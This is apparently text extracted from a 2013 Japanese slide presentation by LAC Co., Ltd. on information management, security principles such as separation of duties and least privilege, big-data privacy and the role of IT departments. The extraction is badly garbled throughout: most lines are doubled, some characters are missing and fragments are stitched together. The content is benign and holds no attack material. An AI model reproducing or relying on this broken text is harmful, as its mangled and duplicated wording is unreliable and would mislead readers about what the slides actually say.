５．安保企業５．安保企業 → → 安全保障安全保障
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４．情報経営への黎明４．情報経営への黎明

知識知識
情報情報 ち がち が

知識知識
→ → 情報情報

デジタル化デジタル化

もちろん、これが、もちろん、これが、
全てではないけど、全てではないけど、
起きている変化の起きている変化の→ → デジタル化デジタル化

→→ データデータ

起きている変化の起きている変化の
一端がある。一端がある。

技能技能
→ → データデータ

これって、これって、技能技能
ソフトウェアソフトウェア

聞いたことがある聞いたことがある

→ → ソフトウェアソフトウェア
→→ 機能機能

Copyright ©LAC Co., Ltd. 2013 All Rights Reserved.
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情報通信技術の原則情報通信技術の原則

実は、二つの基本要素がある。実は、二つの基本要素がある。

１ 機能１ 機能１．機能１．機能
）） 基本的に専門家から提供される基本的に専門家から提供される１）１） 基本的に専門家から提供される。基本的に専門家から提供される。

２）２） 基本的に代替え策がある。基本的に代替え策がある。

２ データ２ データ
３）３） 基本的にどんどん進化する。基本的にどんどん進化する。

２．データ２．データ
１）１） 基本的に利用者がオーナーである。基本的に利用者がオーナーである。）） 基本的に利用者 ナ ある。基本的に利用者 ナ ある。
２）２） 基本的に代替え策がない。基本的に代替え策がない。
３）３） 基本的に変化しない基本的に変化しない

Copyright ©LAC Co., Ltd. 2013 All Rights Reserved.
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３）３） 基本的に変化しない。基本的に変化しない。



４．情報経営への黎明４．情報経営への黎明

制度上の大原則制度上の大原則

①① 職責の分離職責の分離
情報システムには、情報システムには、
機能とデ タがある機能とデ タがある①① 職責の分離職責の分離

②② 最小権限（特権）最小権限（特権）

機能とデータがある。機能とデータがある。
それぞれのそれぞれの

オーナは誰？オーナは誰？

②② 最小権限（特権）最小権限（特権）

そ 上 各種施策そ 上 各種施策→ → その上での各種施策その上での各種施策
施策上の大原則施策上の大原則

①① 識別 認証 認可識別 認証 認可①① 識別、認証、認可識別、認証、認可
②② アクセス制御と追跡性アクセス制御と追跡性担保担保
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４．情報経営への黎明４．情報経営への黎明

社員社員のデータ取り扱いのデータ取り扱い技術の優劣技術の優劣がが社員社員のデータ取り扱いのデータ取り扱い技術の優劣技術の優劣がが
成否を握る？成否を握る？成否を握る成否を握る
→ → これってセキュリティ文化？これってセキュリティ文化？

方方 経営者経営者にに一方、一方、経営者経営者にに
→→ 情報技術感性情報技術感性は必要か？は必要か？→ → 情報技術感性情報技術感性は必要か？は必要か？
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４．情報経営への黎明４．情報経営への黎明

所謂ビッグデータセキュリティ所謂ビッグデータセキュリティ
→→非構造化・非定型的非構造化・非定型的データ中の個人情報。データ中の個人情報。

足りな かな足りな かな

見えてしまうことと見えてしまうこととひもひも付け付け

→ → 足りないかな。足りないかな。

データデータそんなことそんなことやるわけないやるわけないでしょでしょ！！
見えてしまうことと見えてしまうこととひもひも付け付け

デ タ。デ タ。そんなことそんなことやるわけないやるわけないでしょでしょ！！
→ → 本当に本当に我慢出来ますか我慢出来ますか？？

ビッグデータポリシー？ビッグデータポリシー？
Copyright ©LAC Co., Ltd. 2013 All Rights Reserved.
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ビッグデ タポリシ ？ビッグデ タポリシ ？
悪魔との取引？？悪魔との取引？？



５．いつやるか？５．いつやるか？

今でしょ！今でしょ！今でしょ！今でしょ！

何を？何を？
誰が？誰が？誰が？誰が？

どうやどうやどうやって？どうやって？
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３ 歩前３ 歩前３．一歩前へ３．一歩前へ
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時代の流れ時代の流れ
年年頃 ら始 変革頃 ら始 変革19801980年年頃から始まっているこの変革。頃から始まっているこの変革。

20302030年年頃に全人類が対象となるらしい頃に全人類が対象となるらしい20302030年年頃に全人類が対象となるらしい。頃に全人類が対象となるらしい。

全ての生命が目を持つ大変革をした、全ての生命が目を持つ大変革をした、

→  →  カンブリア紀の五百万年カンブリア紀の五百万年

全ての人類が目を持 に至る全ての人類が目を持 に至る全ての人類が目を持つに至る、全ての人類が目を持つに至る、

→ → 大変革の五十年大変革の五十年
デジタルデジタル文明文明とと
セキュリティセキュリティ文化文化大変革 十年大変革 十年

20132013年年
「まだ か「もう「まだ か「もう かはかは分からないが分からないが「まだ」か「もう」「まだ」か「もう」かはかは分からないが、分からないが、
→→このこの1010年の生きざまがポイントか年の生きざまがポイントか
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情報システム部門の今後情報システム部門の今後

直近 課題直近 課題直近の課題直近の課題

CIOCIOで大丈夫でしょうか？で大丈夫でしょうか？

責任分界。利用者・経営者責任分界。利用者・経営者

基幹業務の今後。基幹業務の今後。

成長・差別化戦略を支える。成長・差別化戦略を支える。

TPPTPP 品質・対応品質・対応
Copyright ©LAC Co., Ltd. 2013 All Rights Reserved.
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TPPTPP 品質 対応品質 対応



ありがとうございましたありがとうございましたありがとうございました。ありがとうございました。

Any question ?Any question ?Any question ?Any question ?

株式会社ラック株式会社ラック
http://www.lac.co.jp/http://www.lac.co.jp/

sales@lac.co.jpsales@lac.co.jp

株式会社ラック株式会社ラック
http://www.lac.co.jp/http://www.lac.co.jp/

sales@lac.co.jpsales@lac.co.jp
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